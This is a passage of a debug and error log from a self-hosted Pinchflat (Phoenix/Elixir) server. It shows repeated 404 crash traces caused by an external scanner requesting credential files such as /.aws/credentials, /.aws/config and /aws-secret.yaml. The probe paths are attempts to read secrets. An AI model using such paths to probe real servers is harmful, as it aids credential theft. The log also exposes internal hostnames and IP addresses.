Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3489.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, (truncated) 21:08:46.565 [info] GET /.aws/credentials 21:08:46.566 [debug] QUERY OK source="settings" db=0.1ms idle=149.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.566 [debug] QUERY OK source="settings" db=0.0ms idle=127.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.566 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.566 [error] #PID<0.3491.0> running PinchflatWeb.Endpoint (connection #PID<0.3490.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3490.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50278}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3491.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-4kDFNrdRh0AARoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3490.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50278}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3490.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50278}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3491.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:46.604 [info] GET /aws/credentials 21:08:46.605 [debug] QUERY OK source="settings" db=0.1ms idle=166.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.605 [debug] QUERY OK source="settings" db=0.1ms idle=42.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.605 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.606 [error] #PID<0.3493.0> running PinchflatWeb.Endpoint (connection #PID<0.3492.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3492.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/credentials", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50284}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3493.0>, params: %{}, path_info: ["aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-4tU8vGN-C0AAAYE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3492.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/credentials", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50284}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3492.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/credentials", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50284}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3493.0>, params: %{}, path_info: ["aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwa (truncated) 21:08:46.677 [info] GET /.aws/config 21:08:46.678 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=114.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.679 [debug] QUERY OK source="settings" db=0.2ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.679 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.679 [error] #PID<0.3495.0> running PinchflatWeb.Endpoint (connection #PID<0.3494.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.aws/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3494.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50290}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3495.0>, params: %{}, path_info: [".aws", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.aws/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-4-pQNXIQZUAARqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3494.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50290}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3494.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50290}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3495.0>, params: %{}, path_info: [".aws", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, (truncated) 21:08:46.693 [info] GET /aws-secret.yaml 21:08:46.693 [info] GET /.travis.yml 21:08:46.695 [debug] QUERY OK source="settings" db=0.6ms idle=128.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.695 [debug] QUERY OK source="settings" db=1.0ms idle=89.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.695 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=89.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.695 [debug] QUERY OK source="settings" db=0.4ms idle=17.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.696 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.696 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.696 [error] #PID<0.3498.0> running PinchflatWeb.Endpoint (connection #PID<0.3496.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /aws-secret.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3496.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-secret.yaml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50294}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3498.0>, params: %{}, path_info: ["aws-secret"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/aws-secret.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5CjGLqJ9X8AARsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: 